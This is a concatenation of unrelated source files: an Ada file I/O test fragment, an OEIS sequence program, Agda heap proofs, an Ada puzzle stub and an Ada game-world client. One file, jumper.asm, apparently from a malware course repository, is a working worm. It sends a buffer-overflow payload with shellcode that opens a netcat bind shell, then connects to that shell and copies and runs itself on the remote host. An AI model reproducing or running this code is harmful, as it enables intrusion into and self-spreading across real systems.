SUPPORTED"); RAISE END_SUBTEST; END; BEGIN READ (FILE_FLT, ITEM_FLT); IF ITEM_FLT /= FLT THEN FAILED ("WRONG VALUE READ FOR " & "FLOATING POINT"); END IF; EXCEPTION WHEN OTHERS => FAILED ("READ WITHOUT FROM FOR " & "TYPE FLOATING POINT"); END; BEGIN READ (FILE_FLT, ITEM_FLT, ONE_FLT); IF ITEM_FLT /= FLT THEN FAILED ("WRONG VALUE READ WITH INDEX FOR " & "FLOATING POINT"); END IF; EXCEPTION WHEN OTHERS => FAILED ("READ WITH FROM FOR " & "TYPE FLOATING POINT"); END; BEGIN DELETE (FILE_FLT); EXCEPTION WHEN USE_ERROR => NULL; END; END; EXCEPTION WHEN END_SUBTEST => NULL; END; RESULT; END CE2401E;
programs/oeis/283/A283028.asm
neoneye/loda
22
102552
<filename>programs/oeis/283/A283028.asm ; A283028: Number of inequivalent 4 X 4 matrices with entries in {1,2,3,...,n} up to vertical and horizontal reflections. ; 0,1,16576,10766601,1073790976,38147265625,705278736576,8308236966001,70368756760576,463255079498001,2500000075000000,11487432626662201,46221065046245376,166354152907593001,544488335559184576,1642102090850390625,4611686021648613376,12165297974148535201,30359882782413533376,72110353404642964201,163840000019200000000,357642172588863476601,752840374125923190976,1533152603978982901201,3029143697818833125376,5820766091461181640625,10902185725013838813376,19941610769429949618201,35683587486952088190976,62561618420462022006601,107616802500492075000000,181855780437435984235201,302231454904481927397376,494496300366694525947201,797264967692265318621376,1267735693727312991015625,1989665277488716053528576,3084377978556925950159001,4725824119895166055389376,7161000781072609134033201,10737418240004915200000000,15939757728669252280530001,23438437420931949608208576,34153506432336789515787001,49338146756029779475480576,70687110475623001053515625,100476689050532517573750976,141744343122157185269901601,198517961374865760322584576,276106918561005086274252001,381469726562529296875000000,523676187549858920069753001,714485643664282767391768576,969067262529675906117276601,1306893403371533428072310976,1752843088667824069069140625,2338559589526394865845272576,3104114263672834331582390001,4100038224778907009846032576,5389794351769210723267671001,7052774768640125971200000000,9187923464159509938463096201,11918100426706047117645021376,15395322820045727345417072001,19807040628566295504618520576,25383629195525593025662890625,32407309540762834686526685376,41222739689061345774698968201,52249556922592867451586789376,65997192391378878809581098201,83082326424002932360075000000,104249405779092991346293551601,130394703625362373742979710976,162594469954452997605599629201,202137795202534728075556317376,250564893940464412994384765625,309711609521236734702897381376,381761045562004740922792780201,469303347188112477834606710976,575404785274026597784995141601,703687441776641258291200000000,858420955073129510929603911201,1044627962505677175517596381376,1268205074738467627338763204201,1536061434817722186881812709376,1856277155901600725357709765625,2238284197549051583421025552576,2693072533437941338174062770001,3233424785802479826676404453376,3874182856294737061216436209201,4632550472129605728504075000000,5528435993210988237072094767001,6584840293614717540618468376576,7828295042700033343697575853001,9289357270852527493253311504576,11003166716294147419539037890625,13010073116661822810931096190976,15356341336567148489624637681601,18094943014812402249788691472576,21286444277371897911710568509001 pow $0,8 add $0,2 bin $0,2 div $0,2
virus/jumper.asm
roguematter/malware-csg513
0
9198
;stack model ; ;==================================================================================== ;| stack is same as that of freshly opened host >> top: argc, argv[0], argv[1], ... | ;==================================================================================== ; ;%esi = socket(af_inet,sock_stream,tcp) push dword 6 push dword 1 push dword 2 call _socket mov esi,eax ;connect(%esi,&{af_inet,10.0.1.16:43468,zero},16) push dword 0 push dword 0 push 0x1001000a push word 0xcca9 push word 2 mov edi,esp push dword 16 push edi push esi call _connect ;create space on stack for exploit sub esp,512 mov ecx,esp ;copy 114 bytes of NOP mov edx,114 __copypad: cmp edx,0 je __exitcopypad mov byte[ecx],0x90 inc ecx dec edx jmp __copypad ;copy 114 bytes of exploit __exitcopypad: mov edx,114 jmp __EXP__ X__EXP__: pop edi __copyexploit: cmp edx,0 je __exitcopyexploit mov bl,byte[edi] mov byte[ecx],bl inc ecx inc edi dec edx jmp __copyexploit ;copy 32 bytes of address __exitcopyexploit: mov edx,8 __copyretaddr: cmp edx,0 je __exitcopyretaddr mov dword [ecx],0xbffff9b9 add ecx,4 dec edx jmp __copyretaddr ;pad with 4 bytes of NULLs __exitcopyretaddr: mov dword [ecx],0 ;writing the exploit to socket ;write(%esi,%esp,512) mov eax,4 mov ebx,esi mov ecx,esp mov edx,512 int 0x80 ;clearing stack add esp,512 ;close(%esi) mov eax,6 int 0x80 ;server pwned ;backdoor setup on remote machine ;sleep(5) push dword 0 push dword 5 mov eax,162 mov ebx,esp mov ecx,0 int 0x80 pop ecx pop ecx ;%esi=socket(af_inet,sock_stream,tcp) push dword 6 push dword 1 push dword 2 call _socket mov esi,eax ;connect(%esi,&{af_inet,10.0.1.16:43469,zero},16) push dword 0 push dword 0 push 0x1001000a push word 0xcda9 push word 2 mov edi,esp push dword 16 push edi push esi call _connect ;connected to backdoor ;create pipe to file mov eax,4 mov ebx,esi jmp __CMD__ X__CMD__: pop ecx mov edx,48 int 0x80 ;%edi=open(host,"r") pop ebx pop ebx mov eax,5 mov ecx,0 mov edx,0 int 0x80 mov edi,eax ;creating space on stack for buf sub esp,512 mov edx,512 __xferself: ;sleep(2) push dword 0 push dword 2 mov eax,162 mov ebx,esp mov ecx,0 int 0x80 add esp,8 ;read from host ;read(%edi,%esp,512) mov ecx,esp mov eax,3 mov ebx,edi int 0x80 cmp eax,512 jl __xferlastsector ;write to socket ;write(%esi,%esp,%edx) mov eax,4 mov ebx,esi int 0x80 jmp __xferself __xferlastsector: mov edx,eax mov ebx,esi mov eax,4 int 0x80 add esp,512 ;close(%edi) mov ebx,edi mov eax,6 int 0x80 ;sleep(2) mov eax,162 push dword 0 push dword 2 mov ebx,esp mov ecx,0 int 0x80 add esp,8 ;close(%esi) mov ebx,esi mov eax,6 int 0x80 jmp __exit_jumper ;strings __EXP__: call X__EXP__ db 0x90,0x31,0xc0,0xb0,0x0b,0x31,0xd2,0x52,0xeb,0x5b db 0x8b,0x1c,0x24,0x88,0x53,0x07,0xeb,0x4b,0x8b,0x1c,0x24 db 0x88,0x53,0x02,0xeb,0x38,0x8b,0x1c,0x24,0x88,0x53,0x05 db 0xeb,0x27,0x8b,0x1c,0x24,0x88,0x53,0x03,0xeb,0x0a,0x8b db 0x1c,0x24,0x88,0x53,0x0f,0x89,0xe1,0xcd,0x80,0xe8,0xf1 db 0xff,0xff,0xff,0x2f,0x75,0x73,0x72,0x2f,0x62,0x69,0x6e db 0x2f,0x6e,0x65,0x74,0x63,0x61,0x74,0x01,0xe8,0xd4,0xff db 0xff,0xff,0x2d,0x6c,0x70,0x01,0xe8,0xc3,0xff,0xff,0xff db 0x34,0x33,0x34,0x36,0x39,0x01,0xe8,0xb0,0xff,0xff,0xff db 0x2d,0x65,0x01,0xe8,0xa0,0xff,0xff,0xff,0x2f,0x62,0x69 db 0x6e,0x2f,0x73,0x68,0x01 __CMD__: call X__CMD__ db "touch .e3; chmod a+x .e3; cat > .e3; exec ./.e3",10 __exit_jumper: nop
agda/BBHeap/DropLast.agda
bgbianchi/sorting
6
452
module BBHeap.DropLast {A : Set}(_≤_ : A → A → Set) where open import BBHeap _≤_ open import BBHeap.Compound _≤_ open import BBHeap.Properties _≤_ open import Bound.Lower A open import Bound.Lower.Order _≤_ open import Data.Empty open import Data.Sum renaming (_⊎_ to _∨_) mutual dropLast : {b : Bound} → BBHeap b → BBHeap b dropLast leaf = leaf dropLast (left b≤x l⋘r) with l⋘r | lemma-dropLast⋘ l⋘r ... | lf⋘ | _ = leaf ... | ll⋘ x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | inj₁ (≃nd .x≤y₁ .x≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₁≃r₁ _ l₁≃l₂) = let l≃r = ≃nd x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂ in right b≤x (lemma-dropLast≃ l≃r (cl x≤y₁ l₁⋘r₁)) ... | lr⋘ _ _ _ _ _ _ | inj₁ () ... | _ | inj₂ dl⋘r = left b≤x dl⋘r dropLast (right b≤x l⋙r) with lemma-dropLast⋙ l⋙r ... | inj₁ l⋗r = left b≤x (lemma-dropLast⋗ l⋗r) ... | inj₂ l⋙dr = right b≤x l⋙dr lemma-dropLast-⊥ : {b : Bound}{l r : BBHeap b} → l ≃ r → dropLast l ⋘ r → Compound l → ⊥ lemma-dropLast-⊥ () _ (cr _ _) lemma-dropLast-⊥ (≃nd b≤x b≤x' l⋘r l'⋘r' l≃r l'≃r' l≃l') dxlr⋘x'l'r' (cl .b≤x .l⋘r) with l⋘r | l≃r | l≃l' | l'⋘r' | lemma-dropLast⋘ l⋘r | dxlr⋘x'l'r' ... | lf⋘ | ≃lf | _ | _ | _ | () ... | lr⋘ x≤y₁ x≤y₂ l₁⋙r₁ l₂⋘r₂ l₁≃r₁ l₁⋗l₂ | () | _ | _ | _ | _ ... | ll⋘ x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | _ | ≃nd .x≤y₁ x'≤y'₁ .l₁⋘r₁ l'₁⋘r'₁ _ l'₁≃r'₁ l₁≃r'₁ | ll⋘ .x'≤y'₁ x'≤y'₂ .l'₁⋘r'₁ l'₂⋘r'₂ l'₂≃r'₂ r'₁≃l'₂ | inj₁ (≃nd .x≤y₁ .x≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₁≃r₁ _ l₁≃l₂) | _dxlr⋘x'l'r' with lemma-dropLast≃ (≃nd x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂) (cl x≤y₁ l₁⋘r₁) | _dxlr⋘x'l'r' ... | l⋙dr | lr⋘ .b≤x .b≤x' .l⋙dr .(ll⋘ x'≤y'₁ x'≤y'₂ l'₁⋘r'₁ l'₂⋘r'₂ l'₂≃r'₂ r'₁≃l'₂) _ l⋗l' with lemma-≃-⊥ (≃nd x≤y₁ x'≤y'₁ l₁⋘r₁ l'₁⋘r'₁ l₁≃r₁ l'₁≃r'₁ l₁≃r'₁) l⋗l' ... | () lemma-dropLast-⊥ (≃nd b≤x b≤x' l⋘r l'⋘r' l≃r l'≃r' l≃l') dxlr⋘x'l'r' (cl .b≤x .l⋘r) | ll⋘ x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | ≃nd .x≤y₁ .x≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₁≃r₁ _ l₁≃l₂ | _ | _ | inj₂ dl⋘r | _ with lemma-dropLast-⊥ (≃nd x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂) dl⋘r (cl x≤y₁ l₁⋘r₁) ... | () lemma-dropLast≃ : {b : Bound}{l r : BBHeap b} → l ≃ r → Compound l → l ⋙ dropLast r lemma-dropLast≃ () (cr _ _) lemma-dropLast≃ (≃nd b≤x b≤x' l⋘r l'⋘r' l≃r l'≃r' l≃l') (cl .b≤x .l⋘r) with l'≃r' | l≃l' | l≃r | l⋘r | l'⋘r' | lemma-dropLast⋘ l'⋘r' ... | ≃lf | ≃lf | ≃lf | lf⋘ | lf⋘ | _ = ⋙lf b≤x ... | ≃nd x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ _ _ _ | _ | _l≃r | _l⋘r | ll⋘ .x'≤y₁ .x'≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₂≃r₂ _ | inj₁ (≃nd .x'≤y₁ .x'≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₁≃r₁ _ l₁≃l₂) = let l'≃r' = ≃nd x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂ ; l'⋙dr' = lemma-dropLast≃ l'≃r' (cl x'≤y₁ l₁⋘r₁) in ⋙rr b≤x b≤x' _l⋘r _l≃r l'⋙dr' l≃l' ... | ≃nd x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂ | _l≃l' | _l≃r | _l⋘r | ll⋘ .x'≤y₁ .x'≤y₂ .l₁⋘r₁ .l₂⋘r₂ _ _ | inj₂ dl'⋘r' with lemma-dropLast-⊥ (≃nd x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂) dl'⋘r' (cl x'≤y₁ l₁⋘r₁) ... | () lemma-dropLast⋗ : {b : Bound}{l r : BBHeap b} → l ⋗ r → dropLast l ⋘ r lemma-dropLast⋗ (⋗lf b≤x) = lf⋘ lemma-dropLast⋗ (⋗nd b≤x b≤x' l⋘r l'⋘r' l≃r l'≃r' l⋗l') with l⋘r | l≃r | l⋗l' | lemma-dropLast⋘ l⋘r ... | lf⋘ | _ | () | _ ... | lr⋘ x≤y₁ x≤y₂ l₁⋙r₁ l₂⋘r₂ l₁≃r₁ l₁⋗l₂ | _ | _ | inj₁ () ... | lr⋘ x≤y₁ x≤y₂ l₁⋙r₁ l₂⋘r₂ l₁≃r₁ l₁⋗l₂ | () | _ | inj₂ _ ... | ll⋘ x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | _ | _ | inj₁ (≃nd .x≤y₁ .x≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₁≃r₁ _ l₁≃l₂) = let _l≃r = ≃nd x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂ ; l⋙dr = lemma-dropLast≃ _l≃r (cl x≤y₁ l₁⋘r₁) in lr⋘ b≤x b≤x' l⋙dr l'⋘r' l'≃r' l⋗l' ... | ll⋘ x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ _ r₁≃l₂ | ≃nd .x≤y₁ .x≤y₂ .l₁⋘r₁ .l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂ | _ | inj₂ dl⋘r with lemma-dropLast-⊥ (≃nd x≤y₁ x≤y₂ l₁⋘r₁ l₂⋘r₂ l₁≃r₁ l₂≃r₂ l₁≃l₂) dl⋘r (cl x≤y₁ l₁⋘r₁) ... | () lemma-dropLast⋘ : {b : Bound}{l r : BBHeap b} → l ⋘ r → l ≃ r ∨ dropLast l ⋘ r lemma-dropLast⋘ lf⋘ = inj₁ ≃lf lemma-dropLast⋘ (ll⋘ b≤x b≤x' l⋘r l'⋘r' l'≃r' r≃l') with l⋘r | l'⋘r' | r≃l' | lemma-dropLast⋘ l⋘r ... | lf⋘ | lf⋘ | ≃lf | _ = inj₁ (≃nd b≤x b≤x' lf⋘ lf⋘ ≃lf ≃lf ≃lf) ... | ll⋘ x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | _l'⋘r' | _r≃l' | inj₁ l≃r = let l≃l' = trans≃ l≃r _r≃l' ; _l⋘r = ll⋘ x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ in inj₁ (≃nd b≤x b≤x' _l⋘r _l'⋘r' l≃r l'≃r' l≃l') ... | ll⋘ x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | _l'⋘r' | _r≃l' | inj₂ dl⋘r = inj₂ (ll⋘ b≤x b≤x' dl⋘r _l'⋘r' l'≃r' _r≃l') ... | lr⋘ x'≤y₁ x'≤y₂ l₁⋙r₁ l₂⋘r₂ l₂≃r₂ l₁⋗l₂ | _l'⋘r' | _r≃l' | inj₁ l≃r = let l≃l' = trans≃ l≃r _r≃l' ; _l⋘r = lr⋘ x'≤y₁ x'≤y₂ l₁⋙r₁ l₂⋘r₂ l₂≃r₂ l₁⋗l₂ in inj₁ (≃nd b≤x b≤x' _l⋘r _l'⋘r' l≃r l'≃r' l≃l') ... | lr⋘ x'≤y₁ x'≤y₂ l₁⋙r₁ l₂⋘r₂ l₂≃r₂ l₁⋗l₂ | _l'⋘r' | _r≃l' | inj₂ dl⋘r = inj₂ (ll⋘ b≤x b≤x' dl⋘r _l'⋘r' l'≃r' _r≃l') lemma-dropLast⋘ (lr⋘ b≤x b≤x' l⋙r l'⋘r' l'≃r' l⋗l') with lemma-dropLast⋙ l⋙r ... | inj₁ l⋗r = let dl⋘r = lemma-dropLast⋗ l⋗r ; r≃l' = lemma⋗⋗' l⋗r l⋗l' in inj₂ (ll⋘ b≤x b≤x' dl⋘r l'⋘r' l'≃r' r≃l') ... | inj₂ l⋙dr = inj₂ (lr⋘ b≤x b≤x' l⋙dr l'⋘r' l'≃r' l⋗l') lemma-dropLast⋙ : {b : Bound}{l r : BBHeap b} → l ⋙ r → l ⋗ r ∨ l ⋙ dropLast r lemma-dropLast⋙ (⋙lf b≤x) = inj₁ (⋗lf b≤x) lemma-dropLast⋙ (⋙rl b≤x b≤x' l⋘r l≃r l'⋘r' l⋗r') with l'⋘r' | l≃r | l⋗r' | lemma-dropLast⋘ l'⋘r' ... | lf⋘ | ≃nd x≤y _ lf⋘ lf⋘ ≃lf ≃lf ≃lf | ⋗lf .x≤y | _ = inj₁ (⋗nd b≤x b≤x' l⋘r lf⋘ l≃r ≃lf (⋗lf x≤y)) ... | ll⋘ x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | _l≃r | _l⋗r' | inj₁ l'≃r' = let l⋗l' = lemma⋗≃ _l⋗r' (sym≃ l'≃r') ; _l'⋘r' = ll⋘ x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ in inj₁ (⋗nd b≤x b≤x' l⋘r _l'⋘r' _l≃r l'≃r' l⋗l') ... | ll⋘ x'≤y₁ x'≤y₂ l₁⋘r₁ l₂⋘r₂ l₂≃r₂ r₁≃l₂ | _l≃r | _l⋗r' | inj₂ dl'⋘r' = inj₂ (⋙rl b≤x b≤x' l⋘r _l≃r dl'⋘r' _l⋗r') ... | lr⋘ x'≤y₁ x'≤y₂ l₁⋙r₁ l₂⋘r₂ l₂≃r₂ l₁⋗l₂ | _l≃r | _l⋗r' | inj₁ l'≃r' = let l⋗l' = lemma⋗≃ _l⋗r' (sym≃ l'≃r') ; _l'⋘r' = lr⋘ x'≤y₁ x'≤y₂ l₁⋙r₁ l₂⋘r₂ l₂≃r₂ l₁⋗l₂ in inj₁ (⋗nd b≤x b≤x' l⋘r _l'⋘r' _l≃r l'≃r' l⋗l') ... | lr⋘ x'≤y₁ x'≤y₂ l₁⋙r₁ l₂⋘r₂ l₂≃r₂ l₁⋗l₂ | _l≃r | _l⋗r' | inj₂ dl'⋘r' = inj₂ (⋙rl b≤x b≤x' l⋘r _l≃r dl'⋘r' _l⋗r') lemma-dropLast⋙ (⋙rr b≤x b≤x' l⋘r l≃r l'⋙r' l≃l') with lemma-dropLast⋙ l'⋙r' ... | inj₁ l'⋗r' = let dl'⋘r' = lemma-dropLast⋗ l'⋗r' ; l⋗r' = lemma≃⋗ l≃l' l'⋗r' in inj₂ (⋙rl b≤x b≤x' l⋘r l≃r dl'⋘r' l⋗r') ... | inj₂ l'⋙dr' = inj₂ (⋙rr b≤x b≤x' l⋘r l≃r l'⋙dr' l≃l')
puzzle_05/src/puzzle_05.adb
AdaForge/Advent_of_Code_2020
0
29778
procedure Puzzle_05 is begin null; end Puzzle_05;
4-high/gel/source/world/gel-world-client.adb
charlie5/lace-alire
1
8797
with gel.Events, physics.remote.Model, physics.Forge, openGL.remote_Model, openGL.Renderer.lean, lace.Response, lace.Event.utility, ada.unchecked_Deallocation, ada.Text_IO; package body gel.World.client is use linear_Algebra_3D, lace.Event.utility; procedure log (Message : in String) renames ada.text_IO.put_Line; pragma Unreferenced (log); --------- --- Forge -- procedure free (Self : in out View) is procedure deallocate is new ada.unchecked_Deallocation (Item'Class, View); begin deallocate (Self); end free; procedure define (Self : in out Item'Class; Name : in String; Id : in world_Id; space_Kind : in physics.space_Kind; Renderer : access openGL.Renderer.lean.item'Class); overriding procedure destroy (Self : in out Item) is begin physics.Space.free (Self.physics_Space); lace.Subject_and_deferred_Observer.item (Self).destroy; -- Destroy base class. lace.Subject_and_deferred_Observer.free (Self.local_Subject_and_deferred_Observer); end destroy; package body Forge is function to_World (Name : in String; Id : in world_Id; space_Kind : in physics.space_Kind; Renderer : access openGL.Renderer.lean.item'Class) return gel.World.client.item is use lace.Subject_and_deferred_Observer.Forge; begin return Self : gel.World.client.item := (to_Subject_and_Observer (Name => Name & " world" & Id'Image) with others => <>) do Self.define (Name, Id, space_Kind, Renderer); end return; end to_World; function new_World (Name : in String; Id : in world_Id; space_Kind : in physics.space_Kind; Renderer : access openGL.Renderer.lean.item'Class) return gel.World.client.view is use lace.Subject_and_deferred_Observer.Forge; Self : constant gel.World.client.view := new gel.World.client.item' (to_Subject_and_Observer (name => Name & " world" & Id'Image) with others => <>); begin Self.define (Name, Id, space_Kind, Renderer); return Self; end new_World; end Forge; function to_Sprite (the_Pair : in remote.World.sprite_model_Pair; the_Models : in Id_Maps_of_Model .Map; the_physics_Models : in Id_Maps_of_physics_Model.Map; the_World : in gel.World.view) return gel.Sprite.view is the_graphics_Model : access openGL .Model.item'Class; the_physics_Model : access physics.Model.item'Class; the_Sprite : gel.Sprite.view; use openGL; begin the_graphics_Model := openGL .Model.view (the_Models .Element (the_Pair.graphics_Model_Id)); the_physics_Model := physics.Model.view (the_physics_Models.Element (the_Pair. physics_Model_Id)); the_Sprite := gel.Sprite.forge.new_Sprite ("Sprite" & the_Pair.sprite_Id'Image, sprite.World_view (the_World), get_Translation (the_Pair.Transform), the_graphics_Model, the_physics_Model, owns_Graphics => False, owns_Physics => False, is_Kinematic => the_Pair.Mass /= 0.0); the_Sprite.Id_is (Now => the_Pair.sprite_Id); the_Sprite.is_Visible (Now => the_Pair.is_Visible); the_Sprite.Site_is (get_Translation (the_Pair.Transform)); the_Sprite.Spin_is (get_Rotation (the_Pair.Transform)); the_Sprite.desired_Dynamics_are (Site => the_Sprite.Site, Spin => to_Quaternion (get_Rotation (the_Sprite.Transform))); -- the_Sprite.desired_Site_is (the_Sprite.Site); -- the_Sprite.desired_Spin_is (to_Quaternion (get_Rotation (the_Sprite.Transform))); return the_Sprite; end to_Sprite; -------------------------------- --- 'create_new_Sprite' Response -- type create_new_Sprite is new lace.Response.item with record World : gel.World.view; Models : access id_Maps_of_model .Map; physics_Models : access id_Maps_of_physics_model.Map; end record; overriding function Name (Self : in create_new_Sprite) return String; overriding procedure respond (Self : in out create_new_Sprite; to_Event : in lace.Event.item'Class) is begin declare the_Event : constant gel.Events.new_sprite_Event := gel.Events.new_sprite_Event (to_Event); the_Sprite : constant gel.Sprite.view := to_Sprite (the_Event.Pair, Self.Models.all, Self.physics_Models.all, Self.World); begin Self.World.add (the_Sprite); end; end respond; overriding function Name (Self : in create_new_Sprite) return String is pragma Unreferenced (Self); begin return "create_new_Sprite"; end Name; ---------- --- Define -- procedure define (Self : in out Item'Class; Name : in String; Id : in world_Id; space_Kind : in physics.space_Kind; Renderer : access openGL.Renderer.lean.Item'Class) is use lace.Subject_and_deferred_Observer.Forge; begin Self.local_Subject_and_deferred_Observer := new_Subject_and_Observer (name => Name & " world" & Id'Image); Self.Id := Id; Self.space_Kind := space_Kind; Self.Renderer := Renderer; Self.physics_Space := physics.Forge.new_Space (space_Kind); end define; ---------------------- --- new_model_Response -- type new_model_Response is new lace.Response.item with record World : gel.World.view; end record; overriding function Name (Self : in new_model_Response) return String; overriding procedure respond (Self : in out new_model_Response; to_Event : in lace.Event.Item'Class) is the_Event : constant remote.World.new_model_Event := remote.World.new_model_Event (to_Event); begin Self.World.add (new openGL.Model.item'Class' (openGL.Model.item'Class (the_Event.Model.all))); end respond; overriding function Name (Self : in new_model_Response) return String is pragma unreferenced (Self); begin return "new_model_Response"; end Name; the_new_model_Response : aliased new_model_Response; -------------------------- --- my_new_sprite_Response -- type my_new_sprite_Response is new lace.Response.item with record World : gel.World.view; Models : access id_Maps_of_model .Map; physics_Models : access id_Maps_of_physics_model.Map; end record; overriding function Name (Self : in my_new_sprite_Response) return String; overriding procedure respond (Self : in out my_new_sprite_Response; to_Event : in lace.Event.Item'Class) is the_Event : constant gel.Events.my_new_sprite_added_to_world_Event := gel.events.my_new_sprite_added_to_world_Event (to_Event); the_Sprite : constant gel.Sprite.view := to_Sprite (the_Event.Pair, Self.Models.all, Self.physics_Models.all, Self.World); begin Self.World.add (the_Sprite); end respond; procedure define (Self : in out my_new_sprite_Response; World : in gel.World.view; Models : access id_Maps_of_model.Map) is begin Self.World := World; Self.Models := Models; end define; overriding function Name (Self : in my_new_sprite_Response) return String is pragma unreferenced (Self); begin return "my_new_sprite_Response"; end Name; the_my_new_sprite_Response : aliased my_new_sprite_Response; type graphics_Model_iface_view is access all openGL.remote_Model.item'Class; type physics_Model_iface_view is access all Standard.physics.remote.Model.item'Class; procedure is_a_Mirror (Self : access Item'Class; of_World : in remote.World.view) is begin the_new_model_Response.World := Self.all'Access; Self.add (the_new_model_Response'Access, to_Kind (remote.World.new_model_Event'Tag), of_World.Name); define (the_my_new_sprite_Response, World => Self.all'Access, Models => Self.graphics_Models'Access); Self.add (the_my_new_sprite_Response'Access, to_Kind (gel.Events.my_new_sprite_added_to_world_Event'Tag), of_World.Name); -- Obtain and make a local copy of models, sprites and humans from the mirrored world. -- declare use remote.World.id_Maps_of_model_plan; the_server_Models : constant remote.World.graphics_Model_Set := of_World.graphics_Models; -- Fetch graphics models from the server. the_server_physics_Models : constant remote.World.physics_model_Set := of_World.physics_Models; -- Fetch physics models from the server. begin -- Create our local graphics models. -- declare Cursor : remote.World.Id_Maps_of_Model_Plan.Cursor := the_server_Models.First; new_Model : graphics_Model_iFace_view; begin while has_Element (Cursor) loop new_Model := new openGL.remote_Model.item'Class' (Element (Cursor)); Self.add (openGL.Model.view (new_Model)); next (Cursor); end loop; end; -- Create our local physics models. -- declare use remote.World.id_Maps_of_physics_model_plan; Cursor : remote.World.id_Maps_of_physics_model_plan.Cursor := the_server_physics_Models.First; new_Model : physics_Model_iFace_view; begin while has_Element (Cursor) loop new_Model := new physics.remote.Model.item'Class' (Element (Cursor)); Self.add (physics.Model.view (new_Model)); next (Cursor); end loop; end; -- Fetch sprites from the server. -- declare the_Sprite : gel.Sprite.view; the_server_Sprites : constant remote.World.sprite_model_Pairs := of_World.Sprites; begin for i in the_server_Sprites'Range loop the_Sprite := to_Sprite (the_server_Sprites (i), Self.graphics_Models, Self. physics_Models, gel.World.view (Self)); Self.add (the_Sprite); end loop; end; end; end is_a_Mirror; -------------- --- Operations -- overriding procedure add (Self : access Item; the_Sprite : in gel.Sprite.view; and_Children : in Boolean := False) is begin Self.all_Sprites.Map.add (the_Sprite); end add; overriding procedure motion_Updates_are (Self : in Item; Now : in remote.World.motion_Updates) is all_Sprites : constant id_Maps_of_sprite.Map := Self.all_Sprites.Map.fetch_all; begin for i in Now'Range loop declare use remote.World; the_Id : constant gel.sprite_Id := Now (i).Id; the_Sprite : constant Sprite.view := all_Sprites.Element (the_Id); new_Site : constant Vector_3 := refined (Now (i).Site); -- site_Delta : Vector_3; -- min_teleport_Delta : constant := 20.0; new_Spin : constant Quaternion := refined (Now (i).Spin); -- new_Spin : constant Matrix_3x3 := Now (i).Spin; begin -- site_Delta := new_Site - the_Sprite.desired_Site; -- -- if abs site_Delta (1) > min_teleport_Delta -- or else abs site_Delta (2) > min_teleport_Delta -- or else abs site_Delta (3) > min_teleport_Delta -- then -- log ("Teleport."); -- the_Sprite.Site_is (new_Site); -- Sprite has been 'teleported', so move it now -- end if; -- to prevent later interpolation. null; -- the_Sprite.Site_is (new_Site); -- the_Sprite.Spin_is (to_Rotation (Axis => new_Spin.V, -- Angle => new_Spin.R)); -- the_Sprite.Spin_is (to_Matrix (to_Quaternion (new_Spin))); -- the_Sprite.desired_Dynamics_are (Site => new_Site, -- Spin => to_Quaternion (new_Spin)); the_Sprite.desired_Dynamics_are (Site => new_Site, Spin => new_Spin); -- the_Sprite.desired_Site_is (new_Site); -- the_Sprite.desired_Spin_is (new_Spin); end; end loop; end motion_Updates_are; overriding procedure evolve (Self : in out Item) is begin Self.Age := Self.Age + evolve_Period; Self.respond; Self.local_Subject_and_deferred_Observer.respond; -- Interpolate sprite transforms. -- declare use id_Maps_of_sprite; -- all_Sprites : constant id_Maps_of_sprite.Map := Self.id_Map_of_sprite; all_Sprites : constant id_Maps_of_sprite.Map := Self.all_Sprites.Map.fetch_all; Cursor : id_Maps_of_sprite.Cursor := all_Sprites.First; the_Sprite : gel.Sprite.view; begin while has_Element (Cursor) loop the_Sprite := Sprite.view (Element (Cursor)); the_Sprite.interpolate_Motion; next (Cursor); end loop; end; end evolve; overriding function fetch (From : in sprite_Map) return id_Maps_of_sprite.Map is begin return From.Map.fetch_all; end fetch; overriding procedure add (To : in out sprite_Map; the_Sprite : in Sprite.view) is begin To.Map.add (the_Sprite); end add; overriding procedure rid (To : in out sprite_Map; the_Sprite : in Sprite.view) is begin To.Map.rid (the_Sprite); end rid; overriding function all_Sprites (Self : access Item) return access World.sprite_Map'Class is begin return Self.all_Sprites'Access; end all_Sprites; -------------- -- Containers -- protected body safe_id_Map_of_sprite is procedure add (the_Sprite : in Sprite.view) is begin Map.insert (the_Sprite.Id, the_Sprite); end add; procedure rid (the_Sprite : in Sprite.view) is begin Map.delete (the_Sprite.Id); end rid; function fetch (Id : in sprite_Id) return Sprite.view is begin return Map.Element (Id); end fetch; function fetch_all return id_Maps_of_sprite.Map is begin return Map; end fetch_all; end safe_id_Map_of_sprite; end gel.World.client;
